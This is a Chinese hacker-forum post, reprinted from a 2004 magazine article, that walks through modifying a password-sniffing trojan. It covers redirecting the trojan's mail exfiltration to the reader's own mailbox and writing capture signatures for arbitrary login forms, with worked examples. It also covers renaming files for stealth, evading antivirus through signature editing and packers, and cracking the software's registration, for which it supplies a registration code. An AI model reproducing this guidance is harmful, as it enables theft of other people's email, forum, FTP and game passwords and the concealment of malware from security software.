发新话题
打印

[原创]Cracker与Hacker的较量——打造自己完美的密码监听器

[原创]Cracker与Hacker的较量——打造自己完美的密码监听器

文章作者:xyzreg[E.S.T]
信息来源:邪恶八进制 中国

注:此文已发表在《黑客防线》2004年第10期上,版权归其所有
         
    为了展示软件逆向工程的魅力和非凡的作用,这里向大家完整的讲述对密码监听器进行软件逆向的过程,嘿嘿,看看软件逆向过的黑客工具将是什么样的。

    密码监听器是一款优秀的密码截取木马类软件。它不但可以截取本机上的邮箱、部分网游、FTP、POP3的密码并发到指定邮箱,在集线器(HUB)的情况下,它还能截取整个局域网内的密码信息。在本文中以密码监听器的作者网站上发布的最新版本为讲解对象。版本号为2.2,2004年4月3日的更新版本。逆向目的:1.去除程序后门。2.增强软件功能,使其能截取几乎所有密码。3.修改软件参数,使之成为个人专版,更隐蔽。4.通过加工,使之逃过杀毒软件查杀。听起来诱惑很大吧?哈哈,Come on!


    一、去除程序后门。

    密码监听器虽然是个比较好的程序,但软件作者在此程序里设了后门。程序会将密码发送到软件作者的后门信箱。此后门采用MX方式发信,安全性高。该软件会自动连接http://freewebs.com/gameabc/smtp.txt获得软件作者设置的最新有效的MX发信服务器地址。该程序未加壳,我们直接用W32DASM对它进行分析,其中连接http://freewebs.com/gameabc/smtp.txt获得MX发信服务器IP地址的关键代码如下:
#######################################
*Possible StringData Ref from Data Obj-->"://www."
:00405F7A 68B0664100      push 004166B0
:00405F7F 8D4DEC        lea ecx,dword ptr [ebp-14]

* Reference To:MFC42.Ordinal:03AD,Ord:03ADh
:00405F82 E837820000      Call 0040E1BE

*Possible StringData Ref from Data Obj-->"http://freewebs.com/gameabc/smtp.txt"
:00405F87 6890664100      push 00416690
:00405F8C 8D4DEC        lea ecx,dword ptr [ebp-14]
…….
#######################################

    我们用IE访问http://freewebs.com/gameabc/smtp.txt,如图1 http://xyzreg.idc169.com/tupian/cr1.JPG 所示。
其中202.108.44.180为网易的MX发信服务器IP,999@xxx.com为作者在mail from指令伪造的E-MAIL地址。此软件作者通过网页实时更新的方法,确保了后门的有效性。再看反汇编代码分析程序,还会发现作者还留有一个后门SMTP服务器,地址为card.bta.net.cn 。看来作者真是想做到万无一失啊。
   分析完毕,开始行动。有种简单的方法就是将其设置的后门发信服务器均改为无效的地址。打开WinHEX,查找http://freewebs.com/gameabc/smtp.txt,换为不存在的网址,随便输入即可。注意字符长度不要超过原来的36位。接着查找card.bta.net.cn换为不存在的地址,如heike.fangxian。当然还有种方法就是把smtp.txt地址以及后门信箱地址换为自己的,因为篇幅有限,此步骤就留给读者完成,没有什么难度的,这样就变成了自己的后门了。


    二:增强软件功能,使其能截取几乎所有密码。

    该软件采用特征码的方法来截取密码信息。比如窃取80端口的WEB密码的特征码就存放在webfilter.txt里。如图2 http://xyzreg.idc169.com/tupian/cr2.JPG
    软件只能截取已经包含在特征码里的网站的密码。虽然软件作者已经加了许多著名的信箱,聊天室,论坛和网络游戏的特征码,但因为因特网变化日新月异,有些大家想要的并不在此特征码文件中。其实我们可以自己增加特征码,加入想要截取密码的目标网址的特征码。下面就来讲讲特征码的格式及添加方法。拿原来webfilter.tx中已有的特征码来讲解吧。比如:

#########################################
2911.net|USERNAME=|USERNAME=;USERNAME=;PASSWORD=;畅捷网苑;http://www.2911.net/;1
#########################################

查看登陆2911.net信箱的网页的HTML源代码,关键代码如下:

##########################################
<form method="POST" action="http://mail.2911.net/cgi-bin/mail/main.pl">
<input type="hidden" name="LOGIN" value="Log In">
<tr>
<td height="220" width="271" align="right" valign="bottom" class="aa">用户名:</td>
<td height="220" width="154" valign="bottom">
<input type="text" class="cc" name="USERNAME" value="">
</td>
<td height="220" width="262" valign="bottom" class="bb">@2911.net</td>
</tr>
<tr>
<td height="43" width="271" align="right" valign="bottom" class="aa">密  码:</td>
<td height="43" width="154" valign="bottom">
<input type="password" class="cc" name="PASSWORD">
</td>
</tr>
##########################################3

    特征码中第一个2911.net应为提交表单form标记中action后面的一段网址的主要部分。(比如1234.abcd.com特征码就取abcd.com)。密码监听器只要发现表单提交网址中含有2911.net就开始嗅探。USERNAME,PASSWORD分别为表单中input域中对应的name名。而特征码最后面的畅捷网苑;http://www.2911.net/;则是密码监听器在监听列表以及发送的密码邮件中显示的注释内容。特征码最后的阿拉伯数字则代表了所截获密码的类型,是邮箱还是聊天室还是游戏等等。
    知道原理后我们就可以自己随意添加,增强功能了。这里就那我原先架设的论坛做实验,验证可行性吧。网址为http://anyi.wegame.com.打开网站后查看原代码,找到关键表单HTML代码如下:
<form name="form1" method="post" action="http://xyzreg.wegame.com/index.php">
用户名 <input type="text" name="ulogon" maxlength="35" size="8">
密码 <input type="password" name="upass" maxlength="35" size="8">
<input type="submit" name="Submit" value="确定">
因而按照上面的原理分析,特征码应该为
wegame.com|ulogon=|upass=;ulogon=;upass=;安翼论坛;http://anyi.wegame.com;4
测试成功,见图3  http://xyzreg.idc169.com/tupian/cr3.JPG
   大家可以按照以上方法自己填加新的特征码,这样就可以截取你任意想要的信箱、论坛、聊天室等密码了。由于篇幅问题,ftp以及pop3的特征码的增添由读者自己研究更改,方法相似,不难。它们的特征码分别在ftpfilter.txt和pop3filter.txt中。


   3.修改软件参数,使之成为个人专版,更隐蔽。

   更改其默认的参数。该软件默认的WEB特征码文件为webfilter.txt,FTP特征码文件为ftpfilter.txt,POP3特征码文件为pop3filter.txt,配置文件为Option.ini。为了增强程序的隐蔽性,我们可以将webfilter.txt,ftpfilter.txt,pop3filter.txt,Option.ini分别改为20041.mid,20042.mid,20043.mid,font.dat。在对这些文件改名时,一定别忘了在主程序pswmonitor.exe中将其对应文件名一一替换。我们可以借助eXeScope来修改,这样方便一些。打开eXeScope,依次选择Resource—>string,如图4 http://xyzreg.idc169.com/tupian/cr4.JPG   图5 http://xyzreg.idc169.com/tupian/cr5.JPG

在右边的编辑框中可以很方便的将webfilter.txt,ftpfilter.txt,pop3filter.txt,Option.in分别改为20041.mid,20042.mid,20043.mid,font.dat。如图4的107-111中,懂html的朋友可以换掉密码监听器发送密码信息时的版权内容以及邮件主题,这样能加大收信的准确率,不被提供E-mail的网站发觉。如图5中所示,可将密码监听器临时存放密码信息的位置c:\pswauto.htm换个隐蔽的路径及名字。还有一点值得注意的是该软件为共享软件,需要注册码。该程序很好破解,可采用动态调试或分析出算法来得到注册码,也可爆破。相信这些大家都会并且由于篇幅原因,不再熬述。在此附带个该软件的注册码,以供不会破解的读者参考。用户名:chinesehack.org 注册码:209432


   4.通过加工,使之逃过杀毒软件查杀。

    逃过杀毒软件查杀的方法有很多种。第一种方法是找程序入口点,算出相对偏移地址,查找16位偏移地址头,逐步试改特征码。可以选择第150或第100块字段,然后将其归零另存,反复测试,直到程序既能正常运行又不被查杀为止。但这样手工做很繁,可以利用现在流行的AV Fengker来自动操作。此工具操作傻瓜化,在此就不再详谈。第二种方法就是大家都熟悉的加壳法。要想完全躲过杀毒软件查杀,最好找ANTI和变异较厉害以及保护得较强的壳,如XPR1.7,pespin1.0,ExeStealth等。当然也可用些不常用的加壳软件。相信工具的使用大家都会吧!大家可任选一种方法就可以了。

  另外大家可用密码监听器的作者写的密码监听器木马生成器或者用捆绑工具,把密码监听器的7个文件合并成一个EXE程序。这样就加强了程序的可用性。如果是使用密码监听器木马生成器的话,请参照步骤3中的方法,用eXeScope把密码监听器木马生成器的默认参数改为和你在步骤3中设置的参数相同,相应文件名不能出错。


   到这儿,软件逆向大功告成。一个属于自己的完美的密码监听器诞生了。本文所介绍的方法只供研究,勿用于破坏哦!^_^
http://www.xyzreg.net

TOP

发新话题